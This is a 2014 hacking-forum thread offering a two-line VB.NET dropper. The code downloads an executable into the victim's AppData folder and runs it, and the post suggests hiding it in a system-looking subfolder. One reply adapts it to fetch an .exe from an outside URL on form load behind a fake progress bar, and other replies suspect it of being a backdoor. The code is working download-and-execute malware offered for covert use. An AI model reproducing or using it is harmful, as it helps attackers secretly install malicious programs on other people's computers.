Thread: [Easy 2 lines, Download and run exe in appdata.](#)

mc-dope - September 28, 2014, 3:37 pm

hello, i saw a post about downloading and executing an application in Appdata, the user that posted it is new so i deiced to post an easier program that is just 2 lines.

feel free to add more to the dir after /AppData/ to better hide the program as you wish

example : \AppData\Microsoft\Windows\System\filename.exe

```
Code My.Computer.Network.DownloadFile("url", "C:\users\" & System.Environment.UserName & _  
"\AppData\filename.exe")
```

```
Process.Start("C:\users\" & System.Environment.UserName & _  
"\AppData\filename.exe")
```

DarkxStormZz - September 28, 2014, 4:04 pm

it gives me a error when i do this

```
Code Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
```

```
My.Computer.Network.DownloadFile("http://a.pomf.se/iinjnr.exe", "C:\file.exe")
```

```
End Sub
```

error:

```
Code Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
```

```
My.Computer.Network.DownloadFile("http://a.pomf.se/iinjnr.exe", "C:\file.exe")
```

```
End Sub
```

error:

that can be numerous causes, show us the exception itself.

DarkxStormZz - September 28, 2014, 4:22 pm

you mean this ?

otherwise you can add me on skype :D storemke

Why the fuck would you use a pointless fake progress bar?

Unless I'm missing something.

So a fake program?

You do know any post about fake programs can get you banned?

who says its a fake program :D just the progress bar has a timer

DBots - September 28, 2014, 5:35 pm

Those "Easy 2 lines, Download and run exe" just got slapped with a WebException.

Now you need to expand those two lines to be able to handle exceptions.

" i want to download my virus "

Using a fake progress bar?

Seems fake to me, backdooring your shit.

Marwix - September 28, 2014, 9:42 pm

Don't even try to create something like that if you don't know what you're doing OP.. ???
